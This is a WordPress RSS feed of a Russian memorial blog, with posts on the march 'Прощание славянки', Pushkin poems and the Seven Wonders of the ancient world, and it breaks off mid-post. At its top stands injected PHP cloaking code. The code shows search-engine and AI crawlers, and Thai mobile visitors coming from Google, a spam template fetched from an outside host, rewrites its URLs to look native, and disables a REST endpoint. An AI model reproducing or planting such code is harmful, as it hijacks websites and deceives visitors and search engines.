$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); ИСКУССТВО — Вечный путь к совершенству https://www.vladimirkoskov.ru О Володе, о том, что он любил, чем жил и в чем видел смысл жизни Wed, 10 May 2023 16:45:13 +0000 ru-RU hourly 1 https://wordpress.org/?v=6.9.4 https://www.vladimirkoskov.ru/wp-content/uploads/2021/12/cropped-apple-touch-icon-32x32.png ИСКУССТВО — Вечный путь к совершенству https://www.vladimirkoskov.ru 32 32 Прощание Славянки. https://www.vladimirkoskov.ru/?p=4876 Mon, 08 May 2023 21:45:39 +0000 https://www.vladimirkoskov.ru/?p=4876

Марш Прощание славянки Василий Агапкин написал в 1912, когда ему было 28 лет и служили он в тамбовской кавалерии. После начала войны на Балканах ему часто приходилось становится невольным свидетелем того, как тяжело и больно женщины провожали своих мужей, сыновей и братьев на фронт. Эти трогательные и бесконечно мучительные моменты расставания вдохновили Василия Ивановича к написанию музыки. Марш был создан для военного оркестра, без слов. Многочисленные тексты на музыку появились позднее.

Под эту музыку уходили полки на фронт Первой мировой войны. После Октябрьской революции 1917 года она особенно популярна была среди Белого движения, в армии Колчака, генерала Врангеля. Марш прошел и через всю Отечественную войну. Прощание славянки было песней-гимном партизанского сопротивления в Польше во время Второй мировой войны.

Музыка этого марша созвучна душе и слов не надо, чтобы понять повод, по которому она звучит. Услышав ее однажды, запоминаешь на всю жизнь и хочется слушать, и слушать. Этот марш еще называется перронным, под его расстаются на вокзалах Москвы.

Главный военный дирижер, генерал-лейтенант Валерий Халилов отметил: «эта мелодия никого не оставляет равнодушными. Это как любовь с первого взгляда – музыка заиграла и — запомнилось. Такое редко бывает и является настоящим чудом. Когда мы на концертах, обычно в финале, исполняем «Прощание славянки», зал всегда встает. Буквально при первых звуках марша.»

На обложке этого первого издания изображено: молодая женщина прощается с воином, вдали видны Балканские горы, отряд солдат. И надпись: «Прощание славянки» — новейший марш к событиям на Балканах. Посвящается всем славянским женщинам. Сочинение Агапкина». Впервые публично новый марш был исполнен осенью 1912 года в Тамбове на строевом смотре 7-го западного кавалерийского полка, в котором служил автор.

]]> Дорожные жалобы — Александр Сергеевич Пушкин https://www.vladimirkoskov.ru/?p=1398 Sat, 10 Sep 2022 13:37:26 +0000 https://www.vladimirkoskov.ru/?p=1398 Александр Сергеевич Пушкин — любимый Володин поэт. Он знал наизусть много его стихов. Всегда восхищался тем, как Пушкину удавалось так ясно и легко создавать образы,  сюжеты и рифмовать такие простые слова.

Проходя по Мясницкой он с выражением и юмором зачитывал мне отрывок из этого стихотворения. Это был целый миниспектакль. Какой это был отрывок? Догадаться не трудно.

Долго ль мне гулять на свете
То в коляске, то верхом,
То в кибитке, то в карете,
То в телеге, то пешком?

Не в наследственной берлоге,
Не средь отческих могил,
На большой мне, знать, дороге
Умереть господь судил,

На каменьях под копытом,
На горе под колесом,
Иль во рву, водой размытом,
Под разобранным мостом.

Иль чума меня подцепит,
Иль мороз окостенит,
Иль мне в лоб шлагбаум влепит
Непроворный инвалид.

Иль в лесу под нож злодею
Попадуся в стороне,
Иль со скуки околею
Где-нибудь в карантине.

Долго ль мне в тоске голодной
Пост невольный соблюдать
И телятиной холодной
Трюфли Яра поминать?

То ли дело быть на месте,
По Мясницкой разъезжать,
О деревне, о невесте
На досуге помышлять!

То ли дело рюмка рома,
Ночью сон, поутру чай;
То ли дело, братцы, дома!..
Ну, пошел же, погоняй!..

1829 г.

]]> Осень. Александр Пушкин https://www.vladimirkoskov.ru/?p=1375 Fri, 09 Sep 2022 12:55:33 +0000 https://www.vladimirkoskov.ru/?p=1375 I

Октябрь уж наступил — уж роща отряхает
Последние листы с нагих своих ветвей;
Дохнул осенний хлад — дорога промерзает.
Журча еще бежит за мельницу ручей,
Но пруд уже застыл; сосед мой поспешает
В отъезжие поля с охотою своей,
И страждут озими от бешеной забавы,
И будит лай собак уснувшие дубравы.

II

Теперь моя пора: я не люблю весны;
Скучна мне оттепель; вонь, грязь — весной я болен;
Кровь бродит; чувства, ум тоскою стеснены.
Суровою зимой я более доволен,
Люблю ее снега; в присутствии луны
Как легкий бег саней с подругой быстр и волен,
Когда под соболем, согрета и свежа,
Она вам руку жмет, пылая и дрожа!

III

Как весело, обув железом острым ноги,
Скользить по зеркалу стоячих, ровных рек!
А зимних праздников блестящие тревоги?..
Но надо знать и честь; полгода снег да снег,
Ведь это наконец и жителю берлоги,
Медведю, надоест. Нельзя же целый век
Кататься нам в санях с Армидами младыми
Иль киснуть у печей за стеклами двойными.

IV

Ох, лето красное! любил бы я тебя,
Когда б не зной, да пыль, да комары, да мухи.
Ты, все душевные способности губя,
Нас мучишь; как поля, мы страждем от засухи;
Лишь как бы напоить, да освежить себя —
Иной в нас мысли нет, и жаль зимы старухи,
И, проводив ее блинами и вином,
Поминки ей творим мороженым и льдом.

V

Дни поздней осени бранят обыкновенно,
Но мне она мила, читатель дорогой,
Красою тихою, блистающей смиренно.
Так нелюбимое дитя в семье родной
К себе меня влечет. Сказать вам откровенно,
Из годовых времен я рад лишь ей одной,
В ней много доброго; любовник не тщеславный,
Я нечто в ней нашел мечтою своенравной.

VI

Как это объяснить? Мне нравится она,
Как, вероятно, вам чахоточная дева
Порою нравится. На смерть осуждена,
Бедняжка клонится без ропота, без гнева.
Улыбка на устах увянувших видна;
Могильной пропасти она не слышит зева;
Играет на лице еще багровый цвет.
Она жива еще сегодня, завтра нет.

VII

Унылая пора! очей очарованье!
Приятна мне твоя прощальная краса —
Люблю я пышное природы увяданье,
В багрец и в золото одетые леса,
В их сенях ветра шум и свежее дыханье,
И мглой волнистою покрыты небеса,
И редкий солнца луч, и первые морозы,
И отдаленные седой зимы угрозы.

VIII

И с каждой осенью я расцветаю вновь;
Здоровью моему полезен русской холод;
К привычкам бытия вновь чувствую любовь:
Чредой слетает сон, чредой находит голод;
Легко и радостно играет в сердце кровь,
Желания кипят — я снова счастлив, молод,
Я снова жизни полн — таков мой организм
(Извольте мне простить ненужный прозаизм).

IX

Ведут ко мне коня; в раздолии открытом,
Махая гривою, он всадника несет,
И звонко под его блистающим копытом
Звенит промерзлый дол и трескается лед.
Но гаснет краткий день, и в камельке забытом
Огонь опять горит — то яркий свет лиет,
То тлеет медленно — а я пред ним читаю
Иль думы долгие в душе моей питаю.

X

И забываю мир — и в сладкой тишине
Я сладко усыплен моим воображеньем,
И пробуждается поэзия во мне:
Душа стесняется лирическим волненьем,
Трепещет и звучит, и ищет, как во сне,
Излиться наконец свободным проявленьем —
И тут ко мне идет незримый рой гостей,
Знакомцы давние, плоды мечты моей.

XI

И мысли в голове волнуются в отваге,
И рифмы легкие навстречу им бегут,
И пальцы просятся к перу, перо к бумаге,
Минута — и стихи свободно потекут.
Так дремлет недвижим корабль в недвижной влаге,
Но чу! — матросы вдруг кидаются, ползут
Вверх, вниз — и паруса надулись, ветра полны;
Громада двинулась и рассекает волны.

XII

Плывет. Куда ж нам плыть?..

1833 г.

 

]]> Семь чудес древнего мира: Геликарнасский Мавзолей https://www.vladimirkoskov.ru/?p=1149 Sun, 24 Jul 2022 21:25:27 +0000 https://www.vladimirkoskov.ru/?p=1149 Около 2 300 лет назад, в малоазийском греческом городе Геликарнасе, жил царь Мавсол. Перед смерть он задумал соорудить себе храм-гробницу. Для этого он нанял самых лучших архитекторов и скульпторов того времени. И предоставил в их распоряжение сколько надо рабов…

Строительство гробницы началось около 350 года до нашей эры. Архитекторы Пифей и Сатир придумали очень оригинальное решение. Они как бы распилили египетскую пирамиду поперек, подняли верхнюю часть и встроили между нею и основанием беломраморный греческий храм с колоннами. Великолепные статуи рычащих львов и мчащихся всадников со всех четырех сторон украшали ступенчатое подножие этого удивительного сооружения.

Выше, там, где начиналось основание храма, его обрамлял широкий, сделанный их полупрозрачного мрамора скульптурный пояс – фриз с изображениями битв, охоты и спортивных соревнований. За колоннами, в центре храма, стояли две человеческие фигуры – трехметровое изваяние самого Мавсола и, чуть поменьше, его сестры-жены – Артемисии. А на вершине – на высоте 13-тиэтажного дома – четверка бешенных коней несла никем не управляемую колесницу. Эта квадрига без колесничего символизировала смерть царя… Современные раскопки показали, что размеры здания составляли 32 на 26 метров.

Внутри мавзолея находилось более 100 скульптур. Мраморное сооружение было настолько огромным и украшено таким множеством поразительных скульптур, что оно вошло в список Семи чудес Древнего мира и впоследствии дало название любому большому погребальному памятнику – мавзолей, по имени Мавсола.

В XV вере нашей эры христианские рыцари – крестоносцы, овладевшие Геликарнасом, разрушили и город, и мавзолей. Из добытых таким способом камней они выстроили военную крепость… Несколько обломков статуй, конская голова от квадриги да отдельные плиты бесценного фриза – вот почти все, что удалось извлечь археологам из полуразвалившихся стен этой крепости и разыскать на мусорной свалке. Но главное – это остатки двух центральных статуй. Статую Мавсола, изваянную Пифеем, собрали из обломков почти целиком, только без рук. А от статуи Артемиссии, созданной Скопасом, нашли лишь одну голову. Нос отбит, губы обколоты… И все же это лицо прекрасно!..

Геликарнасские археологические находки выставлены в Британском музее, в Лондоне. На месте самого Мавзолея сегодня находится не более чем земляная яма с несколькими разбросанными камнями и колоннами, и вообще ничего, что могло бы намекнуть на то, что когда-то было величайшей гробницей в мире после пирамид Гизы.

Остальные шесть Чудес древнего мира:

Египетские пирамиды

Храм Артемиды

Александрийский Маяк

Висячие сады Семирамиды Вавилона Ниневии

Колосс Родосский

Зевс Олимпийский

]]> Семь чудес древнего мира: Храм Артемиды https://www.vladimirkoskov.ru/?p=1137 Sat, 23 Jul 2022 21:24:20 +0000 https://www.vladimirkoskov.ru/?p=1137 Древнегреческие торговые города-государства на побережье Малой Азии были очень богатыми. Свое богатство они старались выразить постройкой великолепных храмов. В этом они соревновались. В то же время, когда какой-нибудь город затевал сооружение особенно прекрасного храма, все другие ему помогали.

В этих храмах не только молились и совершали жертвоприношения. В них собирались, как в клубы. На их ступенях ученые и философы беседовали со своими учениками, торговцы заключали сделки. Под их колоннами искали убежище беглые рабы и преступники – никто не мел тронуть того, кто отдавал себя под защиту божества. В храмах хранились выдающиеся произведения живописи и скульптуры. Храмовые жрецы принимали на хранение золото и серебро и под проценты выдавали займы… Так что, помимо всего прочего, эти храмы были еще чем-то вроде музеев и банков.

Все это относится и к знаменитому храму Артемиды-охотницы – богини плодородия, покровительницы малоазийского города Эфеса. Как и большинство храмов богини в греческом мире, он был расположен недалеко от города, поскольку считалось, что Артемида контролирует границы, дикую растительность, животных и природу в целом. Строительство его началось в 550 году до нашей эры. Критский архитектор Хейрократ специально переселился в Эфес ради этого дела. После смерти Хейрократа постройку продолжал его сын – Метаген, а заканчивали уже совсем чужие. В этом нет ничего странного — храм строился более 120 лет. О том, как он выглядел, можно судить по тому хотя бы, что крыша его опиралась на 127 стройных, похожих на стволы корабельных сосен, колонн, высеченных из снежно-белого мрамора. Высота их достигала 18 метров… Согласно древним источникам храм имел размеры 130 метров в длину и 69 метров в ширину. Колонны были расположены в два ряда со всех четырех сторон.

Эти колонны на фасадах были украшены рельефными фигурами из греческой мифологии. Блоки перекрытий над колоннами весили по 24 тонны каждый, и инженерный подвиг, благодаря которому они были установлены, заставил эфесян поверить, что это работа самой Артемиды. Фундамент храма — шедевр инженерной мысли. Он был заложен на болотистой почве, чтобы смягчить последствия землетрясений. Чередующиеся слои овечьих шкур и древесного угля были использованы для обеспечения необходимой устойчивости, чтобы выдержать огромный вес строений, которые собирались возвести сверху. Раскопки на этом месте в 1870 году нашей эры действительно показали, что фундамент храма состоял из слоев мягкого строительного раствора и древесного угля. Слои мраморной крошки и древесного угля также были обнаружены при раскопках 20 века нашей эры, но ни в одном из исследований не было обнаружено следов овечьих шкур. Культовая статуя Артемиды, которая стояла в храме и ради которой фактически был построен храм, была сделана из кедрового дерева.

Храм Артемиды Эфесской по праву вошел в список Семи чудес света. Но это не все… в 356-м году нашей эры с ним произошла страшная вещь…

Человека, который его сжег, звали Геростратом. Чудовищное тщеславие всю жизнь владело им, но прославить свое имя какими-нибудь достойными делами у него ума не хватило. Вот он и решил сжечь храм Артемиды, чтобы о нем заговорили. Он так и признался, жалкий завистник! Случай этот, однако, очень поучительный. Он наглядно показывает, как опасны разные тщеславные личности со своими непомерными претензиями… Герострата, конечно, казнили. А храм отстроили еще лучше прежнего. Вся Древняя Греция собирала на это средства…

За основу был взят тот же самый проект. Раскопки, однако, показали, что эллинистический храм был немного меньше своего предшественника, размером примерно 105 х 55 метров с колоннами высотой 8 метров. Кроме того, новая версия была размещена на более высоком основании, чтобы сделать храм более внушительным. Александр Македонский, посетивший Эфес в 334 году до нашей эры, предложил оплатить расходы на текущее строительство, если его имя появится в надписи на готовом храме. Эфесяне боялись навлечь гнев Александра своим отказом и схитрили, ответив ему: «Одному богу не подобает дарить подарки другому богу», и вместо этого эфесяне заплатили за это сами, собрав коллекцию личных украшений граждан.

Ни персы, ни древние римляне, военный пути которых проходили через Эфес, не причинили вреда этому храму. Даже варвары-готы, когда вторглись в Малую Азию, не тронули самого храма, а только разграбили хранящиеся в нем богатства. И все же в начала нашей эры он был разрушен. А сделали это христиане фанатики, которые считали самым богоугодным делом громить языческие святилища во славу Иисуса Христа…. Ну, чем они лучше Герострата после этого?

Разрушенный преднамеренным пожаром в 4 веке до нашей эры, а затем восстановленный, великий храм просуществовал до поздней античности и вторжения готов около 267 года нашей эры. Вновь отстроенный, в 401 году нашей эры он был в последний раз снесен христианской толпой. Сегодня только фундамент и одинокая колонна напоминают о месте, где когда-то стоял величайший храм древнего Средиземноморья.

Легендарное великолепие Храма Артемиды, описанное в древних рукописях, было настолько велико, что это было самое первое древнее место, которое западные археологи 19-го века нашей эры намеренно раскопали. Он был найден в 1869 году Джоном Тертлом Вудом. Раскопки начались под эгидой Британского музея в Лондоне. Сегодня все, что осталось от храма, — это его фундамент, а из составных останков была возведена единственная колонна, которая, вместо того, чтобы создавать впечатление утраченного величия, придает меланхоличный вид месту, которое когда-то было одним из самых удивительных в древнем Средиземноморье.

Остальные шесть Чудес древнего мира:

Египетские пирамиды

Геликарнасский Мавзолей

Александрийский Маяк

Висячие сады Семирамиды Вавилона Ниневии

Колосс Родосский

Зевс Олимпийский

]]> Семь чудес древнего мира: Александрийский Маяк https://www.vladimirkoskov.ru/?p=1119 Sat, 23 Jul 2022 13:28:57 +0000 https://www.vladimirkoskov.ru/?p=1119 История маяка связана с основанием города Александрия, который появился в 332 году до нашей эры благодаря знаменитому завоевателю из Македонии — Александру Великому. Вообще, великий полководец заложил, по меньшей мере, 17 городов с аналогичным названием в различных концах своей необъятной империи. Почти все они бесследно исчезли, однако Египетская Александрия процветала в течение многих столетий и благоденствует по сей день.

Александр Македонский весьма тщательно выбирал место для будущего города. Вместо того чтобы возвести его в дельте Нила, он определил район поселения на 32 км южнее, чтобы воды великой реки не забили илом и песком городскую гавань. На юге город граничил с заболоченным озером Мареотис. Александрия имела сразу две отличные гавани. Одна из них принимала суда, идущие по реке Нил, а вторая предназначалась для торговых кораблей, прибывающих со стороны Средиземного моря.

Вскоре после этого, в 323 году до нашей эры Александр умер, и город перешел во владение нового властителя Египта — Птолемея I Сотера. Во времена его правления Александрия превратилась в богатый и процветающий город-порт, которому не хватало лишь собственного символа, а также заметного берегового ориентира, указывающего торговым кораблям путь в устье городской гавани. Тогда в 290 году до нашей эры правитель Птолемей I приказал как можно быстрее возвести на небольшом островке Фарос маяк.

Слово «Фара» обозначает большой яркий фонарь с вогнутым зеркалом. Происходит это слово от острова Фарос. Около 300-280 гг. до нашей эры на Фаросе был выстроен самый высокий маяк в мире – 120 метров. Его спроектировали греческие учёные в городе Александрии. А строителем был архитектор Сострат.

Александрия находится на египетском берегу – там, где Нил впадает в Средиземное море. Между нею и Фаросом – почти километр. Сострат начал с того, что соорудил огромный мол – морскую дамбу, которая соединяла Александрию с островом. По этой дамбе подвозили строительный материал. Через 20 лет маяк был готов.

Маяк на Фаросе совершенно не был похож на большинство современных сооружений такого типа — тонких одиночных башен, а скорее, напоминал футуристический небоскреб. Он представлял собой трехэтажную (трехъярусную) башню, чьи стены были сложены из мраморных глыб, скрепленных раствором с примесью свинца.

Высота первого этажа превышала 61 метр, а длина — более 30 метров. Таким образом, самый нижний ярус маяка напоминал массивный параллелепипед. Внутри, вдоль его стен, проходил наклонный въезд, по которому могла взобраться наверх повозка, запряженная лошадью.

Второй ярус выстроили в форме восьмиугольной башни, а верхний этаж маяка напоминал цилиндр, увенчанный куполом, опиравшимся на колонны. Вершину купола украшала огромная статуя бога Посейдона — повелителя морей. На площадке под ним всегда горел огонь. Говорят, что с кораблей можно было увидеть свет этого маяка на расстоянии 56 км.

В самой нижней части маяка располагалось множество служебных помещений, где хранился инвентарь, а внутри двух верхних этажей проходила шахта с подъемным механизмом, позволяющим доставлять топливо для костра на самый верх.

Кроме этого механизма, вдоль стен к вершине маяка вела винтовая лестница, по которой посетители и обслуживающий персонал поднимались на площадку, где пылал сигнальный огонь. Согласно источникам, там же было установлено массивное вогнутое зеркало, вероятно, изготовленное из отполированного металла. Его использовали для того, чтобы отражать и усиливать свет костра. Говорят, что в ночное время кораблям путь к гавани указывал яркий отраженный свет, а днем — огромный дымовой столб, видимый издалека.

Некоторые предания гласят, что зеркало на Фаросском маяке можно было использовать еще и в качестве оружия: якобы оно было способно так сфокусировать солнечные лучи, что сжигало вражеские корабли, едва они появлялись в поле зрения. В других легендах говорится, что в нем можно было увидеть Константинополь на другом берегу моря, используя это зеркало как увеличительное стекло. Обе истории кажутся слишком уж неправдоподобными.
Гигантский, словно вросший из скалы небоскреб состоял из трех высоких башен, поставленных одна на другую. Нижняя башня была квадратной. Средняя – восьмиугольной. Верхняя – круглой. Ее колоннада образовывала фонарь маяка, который завершался куполом с 7-миметровой статуей Посейдона. Внутри башен проходила винтовая лестница, ведущая вверх — к фонарю. По ее ней проходили вьючные ослики, подвозившие горючее для пылавшего в фонаре костра. Свет пламени отражался в расставленных вокруг металлических зеркалах. Они собирали его в лучи и направляли в сторону моря, навстречу кораблям, плывущим к Александрии…

На одной из стен маяка Сострат высек надпись: «Царь Птоломей Сотер поставил меня богам-спасителям, ради мореходов». Так полагалось. Но Сострат схитрил. Под этой надписью он скрал другую. На ней вместо имени царя стояло имя самого архитектора – Сострат из города Книда. И когда первая надпись со временем отвалилась, потомки прочитали вторую.

Строение быстро стало объектом восхищения. Некоторые древние авторы включили его в свои списки семи чудес древнего мира. Те, кто мог созерцать его, к примеру Юлий Цезарь, были впечатлены высотой здания и великолепным мастерством, с которым он был построен. Маяк стал впечатляющим символом гордости и достижений. Даже на римских монетах из Александрии, датируемых между 81 и 192 годом нашей эры, была изображена знаменитая башня.

Название острова стало названием маяка. А яркий фонарь с вогнутым зеркалом стал называться фарой. Только это и дошло до нас… Сооружение простояло более 1 600 лет. Маяк исчез из исторических записей, предположительно окончательно разрушенный землетрясением где-то в 1330 году нашей эры.

Наконец, в качестве интересного примечания. Александрийский маяк, возможно, и был настоящим чудом, которое потом часто копировали, но он не всегда успешно помогал морякам, поскольку морские археологи обнаружили более 40 затонувших кораблей в районе древней гавани Александрии. С другой стороны, кто может сказать, сколько еще катастроф было бы, если бы большой маяк не вел корабли в порт в целости и сохранности?..

Строение быстро стало объектом восхищения. Некоторые древние авторы включили его в свои списки семи чудес древнего мира. Те, кто мог созерцать его, к примеру Юлий Цезарь, были впечатлены высотой здания и великолепным мастерством, с которым он был построен. Маяк стал впечатляющим символом гордости и достижений. Даже на римских монетах из Александрии, датируемых между 81 и 192 годом нашей эры, была изображена знаменитая башня.

Между 1994 и 1998 годами, была проведена экспедиция по исследованию руин легендарного древнего Александрийского маяка. Несмотря на то, что у археологов было представление о размерах маяка, они были поражены масштабами этого места. Более 2500 кусков каменной кладки были рассеяны по 2,5 гектарам. Были обнаружены сотни колонн, сфинксов, колоссальных статуй, памятников фараонов, и огромных гранитных блоков, отколовшихся от знаменитого маяка. Учёные узнали, что у подножия маяка стояло по крайней мере три колоссальных парных статуй, в том числе статуя Птолемея, выполненная из розового гранита из Асуана.

Действительно ли обломки стен Александрийского маяка обнаружили водолазы на дне гавани? Несомненно, некоторые из этих массивных каменных глыб когда-то были частью огромного здания. А статуи, найденные там же, в прибрежных водах, вполне могли быть теми самыми, что служили украшением маяку. Интересен тот факт, что значительная часть сделанных находок относится к эпохе, предшествовавшей созданию маяка.

Ученые предполагают, что в строительстве маяка на Фаросе могли быть использованы камни, взятые из руин более древнего сооружения. Планируется, что данная часть морского дна будет превращена в подводный музей Александрийского маяка. И спустя несколько лет туристы смогут, вооружившись аквалангом нырнуть на дно бухты и увидеть собственными глазами развалины Великого Александрийского Маяка.

Остальные шесть Чудес древнего мира:

Египетские пирамиды

Геликарнасский Мавзолей

Храм Артемиды

Висячие сады Семирамиды Вавилона Ниневии

Колосс Родосский

Зевс Олимпийский

]]> Семь чудес древнего мира: Висячие сады Семирамиды Вавилона Ниневии https://www.vladimirkoskov.ru/?p=1106 Thu, 21 Jul 2022 21:09:17 +0000 https://www.vladimirkoskov.ru/?p=1106 Вавилон, расположенный примерно в 80 км к югу от современного Багдада в Ираке, был основан в 3-м тысячелетии до нашей эры. Величайший период в истории города пришелся на 6-ой век до нашей эры во времена правления халдейского царя Навуходоносор II. Он был грозным и могущественным владыкой. Сирия и Финикия подчинялись ему. Завоевав в 597 году до нашей эры Иудейское царство, которое находилось на севере Аравийского полуострова, Навуходоносор пригнал в Вавилон десятки тысяч еврейских военнопленных, чтобы они строили и украшали его столицу. Знаменитые ворота Иштар были построены около 575 г. до нашей эры. Они были украшены прекрасными башнями и изображениями животных, реальных и воображаемых. Город окружала двойная кирпичная стена протяженностью 7-20 км — самая большая из построенных в то время.

Но не со всеми Навуходоносор был жесток и грозен. Безумно возлюбленный в мидийскую царевну, которая стала его женой, он ничего не жалел, чтобы ей понравилось в Вавилоне. Никогда прежде этот древний город не имел таких непреступных, увенчанных прекрасными башнями крепостных стен, таких великолепных дворцов и храмов, которые были сооружены в нем в VI веке до нашей эры по велению Навуходоносора. В царском дворце собирались прославленные ученые и философы, купцы-путешественники из разных стран, художники и поэты, певцы, танцовщицы, музыканты… Жрецы совершали торжественные богослужения… Самые искусные ювелиры создавали из золота и драгоценных камней украшения для царевны…

Только одного не хватало в этом прекрасном равнинном городе – в нем почти не было зелени. А мидийская царевна, выросшая в гористой стране, любила цветы и деревья. И поэтому, чтобы доставить радость царевне, Навуходоносор решил соорудить рядом с дворцом настоящий лесной храм. Такого еще никто никогда не видел… Четыре яруса гигантских каменных колон высотой более 20 метров каждая вздымались один над другим, держа на своих сводах огромные террасы настланной земли. Террасы имитировали горы и были засажены множеством видов больших деревьев и цветов. Платформы террас были сложными сооружениями. В их основании лежали массивные каменные плиты со слоем камыша, залитого асфальтом. Затем шел двойной ряд кирпичей, соединенных гипсом и свинцовые пластины для удержания воды. Террасы покрывали толстые слои плодородной земли, чтобы растения могли комфортно существовать. Этажи садов поднимались уступами. Колонны были такими высокими, что верхние террасы не затемняли нижних, там свободно могли расти самые большие привезенные из Мидии деревья. А воду подавали рабы, которые днём и ночью вращали огромные установленные на берегу Евфрата, водоподъёмные колеса с кожаными ведрами – черпалками. Этот удивительный, уходящий в высоту сквозной сад, производил такое потрясающее впечатление, что люди из дальних стран специально ездили в Вавилон посмотреть на чудо…

Но у всего бывает конец. Халдеев разбили персы. Персов разбил Александр Македонский. Все дальше и дальше в стороне от главных дорог оказывался Вавилон, и постепенно слава его миновала. И знаменитые висячие сады – второе чудо света – погибли, когда за ними перестали ухаживать. В конце первого тысячелетия до нашей эры они обвалились – наводнение подмыло фундамент, на котором стояли колонны… Иногда Висячие сады Вавилона называют Висячими садами Семирамиды в честь полулегендарной и полубожественной женщины-ассирийской принцессы, которая, по мнению греков, основательно перестроила Вавилон в 9 веке до нашей эры. Но она никакого отношения к вавилонской царице не имела, хотя их и называют иногда «садами Семирамиды». Тут какая-то путаница.

Висячие сады являются единственным чудом, существование которого на протяжении многих десятилетий оспаривалось среди историков. Многие считали, что сады — всего лишь плод воображения древних.  Систематические археологические раскопки начались в древнем Вавилоне в 1899 году нашей эры, и, хотя было найдено много древних сооружений, таких как двойные стены и Ворота Иштар, от легендарных садов не осталось и следа. Примечательно, что ни в каких вавилонских источниках сады не упоминаются — ни об их строительстве, ни о существовании, даже в разрушенном состоянии.

Однако доктор Стефани Далли, почетный научный сотрудник и сотрудник Института востоковедения Оксфордского университета в Англии, считает, что она нашла доказательства существования легендарного Чуда света. Далли утверждает, что причина, по которой в Вавилоне никогда не было найдено следов висячих садов, заключается в том, что они были построены не тем, не тогда и не там, где было принято считать. Далли считает, что они были построены в 482 км к северу от Вавилона в Ниневии. Ассирийский царь Сеннахериб, а не Навуходоносор II, построил чудо в начале 7 века до нашей эры. Далли, специалист по древним месопотамским языкам, нашла доказательства в новых переводах древних текстов царя Сеннахериба. Там также упомянут бронзовый шнек для подъема воды, похожий на винт Архимеда, который можно было использовать для орошения садов. Недавние раскопки в окрестностях Ниневии, недалеко от современного иракского города Мосул, обнаружили свидетельства обширной системы акведуков, по которым вода доставлялась с гор, с надписью: «Сеннахирим, царь мира… На большом расстоянии у меня был водоток, направленный в окрестности Ниневии.» Барельефы из царского дворца в Ниневии изображали пышный сад, орошаемый акведуком. Находки Далли могут доказать, что Висячие сады совсем не миф.

Остальные шесть Чудес древнего мира:

Египетские пирамиды

Геликарнасский Мавзолей

Храм Артемиды

Александрийский Маяк

Колосс Родосский

Зевс Олимпийский

]]> Семь чудес древнего мира: Колосс Родосский https://www.vladimirkoskov.ru/?p=1091 Wed, 20 Jul 2022 21:26:00 +0000 https://www.vladimirkoskov.ru/?p=1091 В библии есть легенда. Будто царю Навуходоносору приснился однажды гигантский истукан из золота, серебра и меди. Только ноги у него были глиняные. Поэтому, когда камень, покатившийся с горы, ударил гиганта под коленки, он сразу рухнул. Отсюда и пошло выражение: «Гигант на глиняных ногах». Мол, выглядит могущественно, а на самом деле – труха!

